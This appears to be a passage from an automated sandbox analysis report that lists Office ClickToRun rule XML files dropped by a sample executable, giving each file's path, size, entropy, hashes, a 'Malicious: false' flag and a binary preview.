Preview:	<?xml.._3..9..LA.m.......tf......%....D....a.Y].....!.5.GT.r....+......4...F,.9...kBW+..o....&l}.wK.[...Q..FjD.1.<.2..a...g.G....5.....W.n..x.g.=g.C. ."O..Ew..>.?..p....-.-..$.rZ.o.0..3..b..U.x..r".(..e]~;+....\|..E8...R.K.p0.......J.......C1.Y..k.....g.`.../..-7.s.Z......@@..s...o_..v.E..}~..^........Y.)e.. .w....H.9.k.1-Z.R;...Y..j........ .....g#...R.......v.V...m#.64....%l.....Kj.....P......u.~.'..9v..o...P.6[.k...W...~..].PN..@R.c%.Q..b...;.+...F.?..&.........Z_.P.(8.U].T._+.{;.&#.iE.....o .b.$.B.........m...{..@........{p.A...tm..."}....a.\:.Y.T.&D.Z.r)[.y.3...Xum.&........,... D....T];lr........." .........H,...7h.&..b...DcZ.t!{z.Y..l....j..^&f0..6...N.L..[yM.K...#.a.\|.8.<........k.B.j%^..6n`.D...._.6...0e.')q......$.........;boG...~.F~...(..8...X.9..D1..b.=.5..7K..9o.....c:}.x...Q......T.f.r..EB....^r,....3!!.....l$.....)q...d..1%...KS!2_...2@..d....'.. c..r...h.FBy.t.(.Suw.<.....WI8."..Z....X6...mo.P.}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.889395496085249
Encrypted:	false
SSDEEP:	48:4rnvrUqorDaJZGtb2/51Io3OqQci2oAY0FD:4rnvFo63G7o3mc5od09
MD5:	B6170E4BD0D043C8B8BEF487B5806FEF
SHA1:	A7F89F58A4154E77D7A147F7F916BA1461C8E2FE
SHA-256:	7E19260A01A9318627DC4B9FC123830727AFC2A49DE3A31642BC774BF471544E
SHA-512:	980C239F1F10EF6B1AB2E270D5595C322D9E400F72DC97D99AA5A492ED1BEA43701148AC059574D682B1189B18FF502150D2854540A09180A07BE0E0B51E79CD
Malicious:	false
Preview:	<?xmlW.[..N\....w..so:rA..y.}.> ].b...`$...._..%.g...l{.Z....#/_/rD...a)z.J...: r...k.....:...w...D..bE....uG.h.YL......WoY..'....m.~;.#..E..Z.O.H..O..i..,0.LL....).......+.t.H...r#......y.......L...\..+w.zhE....;..R....{}]..,_.xQ9.n.o!.e.......s3.......[.........P.`..ON...e>R\h..2u3.l.....u....e[...U.S.....\|"L........m.a/.P..D..C..K..>^...c. _.:......73h...c.q......._"..<..-+hm.......:zS.e.H.....7..AM.q...........>....`q..V.. .W...7WP..#.q... .:&[......Tx..+I..7...-E.6A.-Ee%.......G4.....!B..R..2- H...J$.......I...xJ`6.+,.z2..I....l..K...i%.:).`.!V.R...cO0<OyH..4.j>~..V...xL...'.O.........P^.\|..$....%(..\..H...l.......#\|.2....?;.......GG...f..f_....Rz..`@f. =.W...\....i,....N....}...............o.*.c#=..J./.&....Jd....m.).@.?t.;.~..<K........).Zw^.O@7..o.I@M.IF}..U..$uh.=3..FR..+Y........E..$$(^.'.T..tFRc.X...$.%$.V...vN....>...D.Xb(v.a.,.b...W...Sc."7)....Bt..h.1."..{...`...C.(I@.2..).V@......\|.qM..<..QqB.Ly..7.K.(..s........_.o...D....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.903088230825369
Encrypted:	false
SSDEEP:	48:+9rvPcVGwCybpJRZZQ66A2A2c0M9xRGy9c78aGv0X+f4fo0ENFD:+97cVGkbtZEA2exwyAWFN9
MD5:	88799C619F566EA43AD75B7136565D3E
SHA1:	709146DAE2E9549EDB57B34D3DAFEC90CB0BD39C
SHA-256:	7D30821219D10EE08701D837DE0092210EDAF4E60084D0C640FE9C41B6CAF5F1
SHA-512:	E0A1613DF92770AB93C0051A6B2AF6FEB45D5B4DEAB53CC0A8BCAA42708F4F5EA9AEF45EC8879E4D9BF747B47ABE759DBC6259F491533D3EFF19BA48A6F40DFF
Malicious:	false
Preview:	<?xml..!x...@b...a3.p.e!..?..LEH.T.r;....[......:u!y.J..rQ>OI. .#.O.K.z._....z.U.6...W..`.....o.g.`.!QA.$.n...\lr._..+.O..Sd..'v......D.?..XEUE......1.#B..;6..uK......\|.@.M..z..;..s'.....i..0...^.Ykpd;...s..1`C..u..Ny.w..r...@..c.#....g.U.....M.H^Of......~3M....#T..%.F.,OZ.._e...i..."....0s,.c......4..>0....jeB.[...c.@A.,Z..i....1../.'\|...>..7...z.U.G.../.w\|a7q..0}..."..}d......C.o=...>gIf.`.....E@S&f.a.. ........5..?...@._w...{......B.a{......An...={.?..<.P..;...F....^./.t.............N...6.....A.\|.7.mn.=..T.V...q."..S7..h.n........?.........V..x,..\|K..~....n7..Hx...z..D.P.......k....A9L.`I.y.........#=Hz.XS..,i4.....om.9B2...........pS[.M.-0U:C.. g]...$V.....y..Z.....R19......m/.{....4jo'&.l..Q.Z...>..7..3........e]h..f5K.Xe....+...@... \|.D.f....A....>.....x6>..M,.Z".....Q.( .mq......}.J"..Zn...R..C..Q../.....}.H,.2.....b......k[.[......J8....\|...q.....&......A..).0...~.%...]..m..aV.j.......w"W.3...GwnL.gGg......D...0.=.G^.G.HN.a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.893887191313375
Encrypted:	false
SSDEEP:	24:A2z2th3KqRwPWgCnVf/rp/hhj/37DObGloeNECP+7rWcnDi7lLJgjr26vQQoBVVX:A2Cth3K1P4VJhhuwECPRmy6vQlFD
MD5:	75F0B954DF8F9503C57827F2DE652B3C
SHA1:	72CFE9E14AF3EE05D370146A70273B9B2B93FDAF
SHA-256:	BD23DA0AC860753D5A0ACDA8EBB0EC2A0D43A76D86BB978E7DFA3EAEFA5FDB75
SHA-512:	1A241629936EE974288A2927B0DE27375E57D1E7F9FA4546E82B0E2807842A7A60CB26035DC161701F160B91E6F1A29408CC5266E942C12650416C2676D3AA48
Malicious:	false
Preview:	<?xml}@]...v.j.L..p..t.C9....O..=.]@Ms O....EQT.w........=)$.\|.P<.}D&pnF).%.B....S.uHj.J....j<w...\.....p...........\...&..,.j.-....{...#.........p...c....r...d!).j,r..Q.h.r.[.S.3...?..I.._...m.....2..Z/.0..a6.bl..l.....>jQR."ygA.gtr[8..)........T#.'r....3}..m..2.s;..>..t..^nw..#V..._{.MId.a.. ...b...x._;F..Ji...{.. s.L.%..;...........m..0.2.7......?."o.......;.~...?.q.Xm...{.P..k(...{..%7..$Mh.W..g.(.......Eu......'..^...S.K.....v......Y.`.Y...r....'u.t...%.N.....@.Z.......Z.QB.S07.._...........h.WT..9.D...4...(...rC..(..!k..f9.f...p.x.S:.....>q.S........+d..Q..\|w..Q..&y....(.hy.RDB>o..b.D.b.M@.:p...K..%..'y#.}...=.f.U.Z..U.~2..B@........(..9B.......:^..T...RWp.D".9..%W..t..s.%..5.0.(.E.#J.........[....>k...fz.....(y......<.YP....,....u......x.raP...}.4.q~.?.r.a.1..id....Y@.?.........].....u*..e...yG.;3\....>.MD&W.r.@.bJ VTdV.Z.R-qA..=....l_q.....`)..\|.cM.../Y!D;..1...-v...7.Q......"N.0G.sB.;..[.....U...~M....i..Q.J.;w.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.903391382690918
Encrypted:	false
SSDEEP:	24:G6oAiN+hh72E6jyl/nqjzFKraQaKE+TtdX6ppqZOnPdWI8KAweoGVbD:9Sah7CjwazFKrD6pkZCPdz8RwZGFD
MD5:	AF6A0FBF262D16E110A4119AEAE3246B
SHA1:	30468E32C6F009894389FE2C0295C0CEA435AC61
SHA-256:	55E7B4C00D57B20F9A262BD30BF0D5B6F6798A23928E435B8ED097B2151DD812
SHA-512:	E64D430B754584C1F323332ABB4788BCF343B31F3E3609702B6A2560AED3151CB2D107A13684B669259015F074F3A5B3BFD11EF8FAF47B3CDFCABC9AD9AFB83A
Malicious:	false
Preview:	<?xml.9..s.\qt5m..]..:t%.1.43"....w..n......]t.2...pc..f.xW.uP..-........1E...(F.AY...lu~.IFi...p.$N7...83..x.....e...-..b......U....rC..g.xrH.B..7?.o.._HP..9{.-......$_.O.o..3.k.W.@r....4X....vqb......... ..wd...Yu...Sd..cp....tS...C.S..9.nVUL.=E?..\|$d.'.A...+W.C..........l[H]..O.?.$..9I...i.... G.x..3.Y]%...d`U.\.Z..'.....5T...^Q...#......3r..#...C6.."...dj_...V.t.g...0F!.p.P?....m....U.9..@3...O~.w...O..h_.g...nh...DDw.Bz..3j.tu..J5.................V......."^.[tr+.....,T.o.U...4....`q..u..\u..a3....Kh.......h.=.2...z"...d.l..U.........;}..Z..N..~k. ..O.P)A\|....q.F...{Tm.p.kQ..ya.-..,x`..>....,q.po......xB}5\|$>.Zz.L....v.....c.w.........R..I..%....t...G...\|.2.c.(y..i..a..0..........\.%..V0..Z.D....6...j..w.k.0\...V.g.......v./.RU....,...G...b..)\|.....%.u.."......x...6....[..3..).....a.T.w...\|...u.j....'.0xfh..H.CGx.v.PO .......L........U..6.U.xH6....J(cz....w.D..n+.B......W....e@.&...v.Z.RM..#.......,...=...fN...q....f..#.8...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.875963420660057
Encrypted:	false
SSDEEP:	48:lQPdIt4SlvQ0WsUcwpTMATarkaebgUhmzhFD:+qt4SlvFWJpEHebE9
MD5:	412690E026AC48BBB8003F58E6DE1553
SHA1:	9925902A0C140F1053115ABD47810D3F632CE0F6
SHA-256:	8C8FE0CDA4F742D1E476211C2C100A2060F0DEE2CBF3FE682B2BCC43FD3ADD0C
SHA-512:	9CCD93CB962C569E1E930B656BF5A88A8A2F50D04C9337071A44C61217968A99E848A959CA11091A203B90A1CC9DB3FCACF22ABED08669F5DFDC09AEC8922FC8
Malicious:	false
Preview:	<?xml0#w..oC$N@)].......\|.....z"X......@.Q .c]Z"..-...3......3;...;......+(...0.....U.q9.S..v:.=..1...,......."....Y....K.........!4..^-..&O...k...=.......o..L.".#.........9..]Z.....).om./ZmF....A..{.un.RF.....NU...dp..o.[j.r...b:B.!.s.WIg..Ff..f..6..]..g.U..,...Y^.`M.^...+T.u:..O....2..oW.6...5.6is...t.......6Q.Xr.....I.}R....../Y'... .....[..4.RA.V{..WxOQq..+..z.4]..._d{..\|X..3.....\...1..n...5.......c.....r.`.....W.q>3=........hW.t..I.<.~;.<Jd..Tl...r..i.......f....[o}..`.....2xKHiD.yd.....sj..T....Ch.-....W)..6....=...$...Q.....Z..x....h\|.U5..QO.)..$......Oy1H..i.'h........U.&..z..~..G..0.G..k....`!{...n.......e}w.,n.FO...}.......&.f...R....".....vr.K&....%.9..G.m.....y..\....#....d-.S....8.......:t.V..F.....@.8..:.Z...`1..V%...4.........k..'k5`...f.].......N...1..Y#.......x..`.w...At'.]+Y.<.......4..p.\.6g.t...t.b=10.....Y.%D.........X .ceG.#.\|.$$..p-....i.....0..5..g+.-x..Yi..5Z.d..c.D/.5k..Q.(...H...b..FX.dhh..OP..*..{.. .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.885908576569081
Encrypted:	false
SSDEEP:	48:duy+YIPyDE2Z3p/CYhtU25kCe2xZ1eae/YXL9Khgh2YHzfdUjBcFD:dHjR3xjx5be2TlmmYTYTelc9
MD5:	E86FC6F57787A600AFE5474B4F378041
SHA1:	1192EF906ECB47D43C7419C1A19C7E5548D3ADF1
SHA-256:	8F0E2BD0F3D2950F1005A702CAF708E8B0C827F17DF340D7207F4BC5EB03E967
SHA-512:	B53ACDABE0F734774EF1A4BEAC7B217E02F7DC6F640023440669AEABE3D9AEEB3C21C91F880CCD04331BF28DC69DCAFC812616B2C3DE135EDF9440481FD93CDD
Malicious:	false
Preview:	<?xmlyYNB..../.3.^....Rb.$....+....nY....(;...'...47_U.d...{'.b...UV~.#+....3$..9....Qh..3.ix..+..m.%O".w..F!U...U...h.>...m.."...C.....r.-#.VJIu_T.o.X~..K.a,b.Gx.6..\|.Y.&......l.H.f.6...(...DY-(2....#....ib?.....+.;..F.n....\.....mW=.>......J..U..s5.x..hIs...(...7."..rA.WB.1...(.......5Y)l..x.e.h..u.......8J..!..".....<.$KJJ...F.}a... +.y[9...A.c6..:e[5..i\|......Iv}..V..._.<yu1.8.o..l..`t...l.._...........G.f[U......n....P.).t.........5.fc2.....$...p&9>w.gbv!.iO0...*...v...........r......gv.8...B....pt...tn.&%...2. `..>x.Z....~......8..dq...E.^.......=?FM=.,{..te&..B..$.T.`...cx.}...V..m........N.2..s...'....U..ei... ....mb.6.a...t..3FL(MA.O.!..&.X....q>...0...oj..E".1.%N.$.........I.Q'.B........+.I.K..l..f.q....~.....P..9.).h..d......O.T.5...g.f.u..>.R....9..y..A.Q.0[(...V..M"...a..a.:<...Rqxf}_...YN...."87.N.!q.C...f.I.2...1.n.+.08K..{.:Z......o..$.B..r.j&e...y.....4V.Y.D..z.~.b..K..MA..Fj..n...8.+O3...T%.."...CI.Fx..,.F2.C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.855956055550243
Encrypted:	false
SSDEEP:	24:3Y7GsXcxDxtppc7CnGrUJNCTA2Elb3m4Bf3P/AgjLa02ItDISv+pmT7KUXWnVbD:cGssRpa7WxcIb3Rf3hjhPtiLFD
MD5:	8FAA392DFECAB5340EF53472689E82F1
SHA1:	416BD0A597FD51360C33B4A48789F63A09FFEE8B
SHA-256:	3F67C783AD058308E795DDC0DD5DB3A78C8E9CA6B4B3A134A122ADEC04C8997E
SHA-512:	56FB6E321DD2D53D983C5B8ABC72B681D3F27EC6EE611D1C00BC6BDF00F621097B9CA2F08E59CD48CE873083DA31A5D3F408F3E9DD843C3C815479D0CDCF3455
Malicious:	false
Preview:	<?xml...Q.....@.......P..p...+.v.mO..W..a;b..p.e...n..........B#.B..vd..rw......0c?...;.\|..I6R"O.+..d.;/.......'..$.x[^w>h&....I.?.zI...t.I.^@x.N.'.7f..\|a.-.\.2.....$w.v.l....S#L.'....'-G...z..3f$C.<....k......d.Rp2...u.2-....N.E.....q1.'.d9Q.P.x...........A...'EJ.....].6.].)..C.5"....R.8......}yk.}.wek......q.\.o..........3?.ps<.M.&s..\|.n\. W.z#$..n\2...]/.4.....:P.3..^..?.y+.....;q......y.-.R.\|O......\|.#."........$x..2.1FpQ?^.w..........?.%).9n..r..[........@9...OC.G..xT52......V...K..n...).I7..o..8..M..Iw..N..T....}P:Hp.`..~.g.....9.-......[...%.....[y..V?S.eR........0m..d.;..o...w.w.<.....G..j.T.Z'..V.8..U...5.Vk.M....bH.Ix^....l.'...O.t. i%..Cp-..F..1w.....u ..$p.}{....qW@Y..M......M....B>......'.R.G7js..Tf......B.m.. B.._0..RqY?J....H....r.72e.7Bk..QHF.X..)>..$iN.+.s.'JG.}ga}V)...D...O.G2-%.Wa..L1.T.k..q...[q%!GiZ.}......sK '....`;..C...a.k.v..FK../q..7....{g.9..u.....[.m... ..K..^.Sk.<...lT...I$.yq>..`.........sT$1.....8z.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.898403863000678
Encrypted:	false
SSDEEP:	24:0Iqo7E/sNSLUiuFfmIjIRd2HODXHZBwHgrcIpjAKCgihL43dMIwcn9JhB2YMDBQA:5S3uF+3t5rpjA9gnJhzMDBnQmFD
MD5:	985A71D8A055ADB4F1AC409EA2303A78
SHA1:	1C3915AE36B142E28E3877A8ACE8CDD742297D9D
SHA-256:	F1E6906FF98CF794B482B208830D5E88082E75C6F4158BFD8EAA6122C9B97477
SHA-512:	A65967E238C47CB49590DEB41CCC3BCA297F2C3846659E3C6AA6B5830E7652B5935552E09E8D278582987F9D56A86C12371D26B664C5355206CB14E9782C7E74
Malicious:	false
Preview:	<?xmlYqf.x.k..h.'_......Y.......J.r....%.b... 7..._7...#.gS.Z..L.;.....q....J..... .U.....D.G....w.aug....}b%.OaI.:.!.W.....6.>+...d.F.5..:l..B?.X.....C...9..,.F.........Be..#c..c..r.I....t.7L!...^.R.}.pXl$!.f..j]D~..mz....5..w.H..!?.(Y(....1.j.{l.n...5....l\..{.K.W]..h.)a.......\X...>.....`0.Q.e..=.Z-P^...7...W.7.u....pG.m......+.),An...J.t(..^8.....&o...../...A..k..L9.....ErU.MI.>K.'.2)\|..4(....C...].B]X...}.....h......e......#.7.......\|.F.s.%3WV..j.o.tx\|.S:.q.+FEQ....zQ...8.....9...e.....HX....3\|.y...Q..zc..=\|.ut.........0.0......@.=d.!.......NC\|...Ux....@....b./..j...K.on..X.........k;..f/.4"ZIs..C.........,.}1.gu....8....E..z.\.8[...\.....P.'.Z.8.....q\|.7U.....g.^.C.......O.....8.].G.FX...$.?.g..i.....@F.B-..F....P..s......s.o.X.........g...@.`.3KU..<uL....<....@.4...rV..U3Z....Y...l..>...S.17R.T...5...1]..Y./].6Z...?..73...j....a.J.A:..J[.ox.....4A.t..,Zh.T......z4...e...n.....#...T../K..a.^c.7...B...7....M@.... L..N.;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.880757965372673
Encrypted:	false
SSDEEP:	48:zr87VuN8vsP7bEfFJVFK9qsVJpxvJi/Sj0FD:X8RHvEE5OBQSj09
MD5:	884B644D16EADF1C4ECC5B18DC324246
SHA1:	FC942E240E7DE2F15DC5B47956BB9FFCA21D93EC
SHA-256:	820CD138154507B05349689C4029F0960C36C6334CD7930AD54FA6A421E0E099
SHA-512:	6F5FB38933917BDBB16791B839FBDC7439681326B1758926650A2946241135F805B9E46946B45A59FBEF0635C7822FDDA3A8E3B8EAE044E992825A87F2594269
Malicious:	false
Preview:	<?xml..2+..jq......no.)..&...;...C.N......R.S..=.....=..........A..:..3_...9...._..6Th$.?o=,.[N.&!....._We.kx.H=..t[.xu.'8a..$.....B.).x...;U........yS{.W.Q..J.xM@f..,...$....6...b9.34..?yp.G..7...n.4]...<.H.S??.r.j..S.&..mw.p].....r.........?.=....!\v....XIM..bJ..........'.....\q...]...^..~.<...D......U.A[.GEF-...E.b...h....d#....:.c.......XB...............v.I.}....~.v"..5.2+..T...Q..@.<.buV.X.R...<^...1..* ..D.`.$.T@<..w.....N..R.%.n.....^Iz...6.f[._`1..k.[....K^Ys........h."s..,a.._.G..n.j......X..c.g.Q.h.d.n..GD.....Y...........D.........w. ...F..8...?".w..]2..%u..:.N_..............a[.o...b...\|O..@..t..+.#.O.?.r...cB.c2[v.....wr..c.z....q.f.1[..f..E..KP'N.ki<.r.J.f....'..hWM...Me...%.p.W..x.....Y........Km..QYVs...W.}..........o...b!K."z..ak...8....~J...}.2p@+C..JZ.]nd.Y..}...c......\.w.=..Ou<D.5.....X.`lk.B.&@..EJ..aW.w6.j%br}c.L..@..2_;.]..j ...tk1.:\|.vJ..D3..SU.u...T-..5$.8P....[.....m..p.....Kt.]..>Vwb..C.".b......X'.k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.900276470978944
Encrypted:	false
SSDEEP:	48:HK2eZVW2fmJ7iBtrD0sL/K3r5JKnRh9mYFD:+XmJGfrU5JE4Y9
MD5:	3F98358158291C7AD7175F0FB5729753
SHA1:	76F648ED0649F93D7DFD4AA0ECF96AFCB174D01D
SHA-256:	732EC9C8B60AC3A1C4038F00AEFF3ACF73112205A8BE465C1FAEDEF53695406D
SHA-512:	A20D28BBF18F59CA3FAE6E3E28C5D501FAD4F3DAD37EC18BD41BF0B57A98AA56B757C92EEFE9EB431AFBB4C02073D832AF123B2CE7CE25D554EBB3D2694AA7B8
Malicious:	false
Preview:	<?xml<#e.........I..2Ac.......u.W.....@.N.8._P..\|.n..#..l..3{.v!/...r^d.l. ...IH.y.....Y^Qb.."..).b.#..S.j..>.5...I..Yg...4. ...A.L.....h\...QB.<.L.....!..3A\.2v.P.4.o{.Xx.:..8$7,.r$..2Z.....18B.)...l.9.;....Pv5.....R.<................R.NgP..o..T....1Bf..4..m......N..^P1.N....y..c.0..........).....(.j......;B"Yj.aF".}SEy.h.h4..b.LB..0..z...b(. ...3....g.`.A.$1-.[nE .9L.g..B.R.e.....V..L..s6.\|..%.PfS...s.z........WE.6A....lD..@..-.t{K.Z...7ho..........^$Z..b.e.X..Hh".F....,......v6..y..Me...\|'n.%...d.Qo....\|...5.4,E..jG...&....#.........?....nO.^..4..a.o.\|#.e.LZ.i$..m 1.3.... .X.v...'y.f..MA)3.I;.N.....Y.z.....r.w...D.......@..N..F.o.iR.B.Q.."'"e`.....;..{.G6.A.....MR.W.W.I..f,..ZrX_t..pa.....Q....v)....gCl:.D.rj.....d..u7i.=.pa]oeg'.m..u?.r3......6.oE+.PC-\.a.M.. .........(y.r."..ee..Y`.rO='?.D..%]..o7.......D.R.v............?.*...#.#..kA.T..6.:.-..-X+/"..L.3G._....^......a-...!. .f.....AjZZr,xL..+.V>.w#A ..x9;R........w;.#5G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.880104109374613
Encrypted:	false
SSDEEP:	48:Dc010LTeHksgqAuAigSPF0TCB9kyj1H7NZQAFD:70LCPRAp7UF0Uh7NZQA9
MD5:	99DAC7FD0E30FB6A87CA26D4B0A33AE8
SHA1:	B10B1EF13947E299699E819F44C4391746515CEB
SHA-256:	B22C1C18DB12146CCF83240AF03C20BC264354F8140562DEE1345AEAB482B1BC
SHA-512:	DC0824A1934381E5138CE912A8CC985509D9B667A0038ADC2799AF8E598C69F1885505A96C7D770176B8F102E480381814551256EFD3DC0DA5A1902C8605FE0F
Malicious:	false
Preview:	<?xml.rx..xY.t.i:P...........n...T.......EK.....&...7..y......L...p..B...2?Q..!6..y[....P.%P........T...S....i.`9\..Z..`......Q......A..#...$...j...p.'0.@.K6......~gSX(j...z.)I.I._2p.69..yS.<...d_S..o..L....<8..D.g...>..j`.ud".@n"..t...uJ...%t.......K...U...#M.../..8..^..u7{.......m....3.}..V[`..b>..@:W....>.0y...W^.......y.R6.X.T....Y}..g.........P.S...IW?..../....-. ..U.\|n.q......(4..R...Jk..L2~.zo,.9.p.OXE.8.^..?..LY....s..m:...!."4..E.7.#.h-..49pC..Q.)]..v.....!.A.8....s0..m3..........&..r..b..4V..?...Y91....+..!T.n...&M.E.}../....H....D.....p...p...Y.@...C...T.<....o...-........&..^.'.wz.....5.~.p..X>.z..K.....c<..<...&...KH....K....;K#&..:..e."...........@c..]..J"y.~.O.....1_h....X...{..-..e...RB.0.m..:.....]..e..-.g..DjS.....'..........d..~R.\..!k...{..$.{I.^.j'.......B.. .K._.+.../.CJ^=..g.L./r7.r......Y.l.M...t.`.`....i.s...c.../..._..4..F`.<...N.......V9qc...>...k.h9.\../....\Y.PrN.q`...SDf.E....}k.M..8%.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.894652647370657
Encrypted:	false
SSDEEP:	24:9VLSqu8kHVhFdTjgcpeHuYxLfN0TMsuc6siIh2YhHQZ9s4icPTMNtVbD:L6HvFZkcpeHuKNxNc6srhdNQ84iIGFD
MD5:	B1545EAD5F28FC3E6F1CCED270842B59
SHA1:	B5689E3DE244A194A53FA48534CF6A27A419B3F0
SHA-256:	59C9E639A6A1721CC1764744836E85F9B7A1F781A3F60BFC47CFDAA13E5FF876
SHA-512:	9C40580937E15F76F330EBB600F2B3C3527C0A22E02265376CB64D33C68D714A41353FE5F50C57DF292332E6576D4B6BEF676B7D2E4BB295AFA35554C539D136
Malicious:	false
Preview:	<?xml..=...Y......."......z...fU/.. Yx.:..m!@A..3...E.....>...Jw......D... 1.n=..~...Q..%..E..].....a..o..`..d.....~ORL.W..7..t.;....F%mA...2X.&..KbK0....^U.....Il.\|1.6..`.!...I)!$....~........k..\...k.................8.......t{..c.5t....?.....b').].`.&.o.G-.).......T...~.^..{...4..<.p..Ym..6.x....U..5.^.3.oc...y..]T.....c1L..E.=.Z....K..4c^.a{.~$UM...".:....>.{..B.I.f..G......@..0e..=...6...iS..>.a.G.k. ...........[CB..'['~#<..r^z....y,..^.'...%...>..C.#z..[.n..xS..X.j.-a...QW}...).....^ar..^.../...S.+......Au..."...d._.:r..UQn...\|$.U#rq.O.l...y...4...V..e?...g&....%;.^H/w.J........z.k."..&..{....f.......w=8..'.M..[.d.."...u..@......3:...v...,.k....{. ..$.r..*.......$..0.5..e.y.-..%J.g....V..._.V.K.;..^....D.T_:..x.[.......g0........G.n.&...\..N4.7?"+/.w2}.@...]...B..9.....P..#...6..jz..i.r3.%8..-..0....E.I.u....zA]..."#b.v....K\>Wo...x(;".4..1.........1.j......Z.i....,"......-=0...,..$...Z..2.\.2G..C..\x4.gP.Z..W\......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.8896122057381755
Encrypted:	false
SSDEEP:	24:4dXltzrQzlcYqlblEtfq2gIqv7IQNWGaxIGZzn53SlQmrzhCBLc51ZWgmCNGSf/7:alRkg/EFNgEpX5ilFPDuCkS3/NFD
MD5:	DF9659EDE1325B5BBF4086A90EB2FB65
SHA1:	DED4DDBBAC177588F69811FF14C4EB777BF3B94B
SHA-256:	165FB54B12392A84312C9D19661016AB7AA9D5A16EC95825F13462056974FAB0
SHA-512:	2999D83AD2B773E6864F66E3FA45DBC6D5A9E1909E5F7F6F820B1DE1104D6C4E7B55B2D92E11035998DF510F3165B144C6DD828F7CB2F5B8AD1AA87E94D04A4F
Malicious:	false
Preview:	<?xml....... .d..XN..~...D...K\.....n[vs4.p....-.#.....x..qVV5 [.;;..QV..@.V..%.......o8I....V..q.."...@..+yL...B5....,L.C......4,.S..#ePD...Y{.V.~...............CjuK.n._...\.'lj}......e..Fj$<.........@.}...7%....o.4...!t.i..0.1.f.%G.T....N+..,....-.:W..u...iT.....P.`D]...Y..1\....P...!..d.....Cu..$x..`.%..)h..;..\u.<T...i.1.D....U.v0..L..$s.`..a.e......G..M....",.....\..x...$...!...vVn.D..L_/(..i..y.M.HG...C@p.y..."@....^...y ..UL.K....z.f...$>^.aC....9.\.7.vY,...8..^....@Ms....X...j(..S..,4.5\...?E.H.&.[..I....Q..N\|9.W}.iB\..TI..M....GO..... $n..6...."...r;....~.j.=.Kl.......<Vb....y1.. ....t)3.GU@<\|+......s....j..5q.kNV4.H.....%.e!.i....Y..-.1..!n`<..]&..O.OA]Y.....@........0.A.^P..S^...l..hh..(.=...%f.}...K.0%Z..a..'32.....s...'...F....3M8b;........T..I..7..)_....XTO6`K..X....Y...v^f....F\|.0W.....ZU....KU(A.....45..!@...u.......D..j.rO.Hs$..c....d...~......[.<]..Ul....Q...Y..&..........^.{z_..8.9.*x.k.aG......=~.t9.8).O..!=.B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.9067377038205064
Encrypted:	false
SSDEEP:	24:+C/n5tO6pEFvejZx6nuNHWM2tN512QGSn3bTqu73tk32whk7f3PImxkV2SS5Ogf9:K6pEFIHlHWM2tN5QQN3X0tM3KcxOMFD
MD5:	E924B10917BC8B50197144F70989B8AF
SHA1:	274212E159C14F52F9021E6F9F793AFF94F026BE
SHA-256:	51D531E97357929E420A73A0FC6C8A77ABFEE08BCFD48275D4ACA556959C4B46
SHA-512:	CFA02F53F5C84EDB6C91BBBD8792A4EAF7B0416FD782A9FB75A1F048A43BBB5D15998EDC2428972CC276B57B5328A9F099053605D96215626D22E05DFF846C71
Malicious:	false
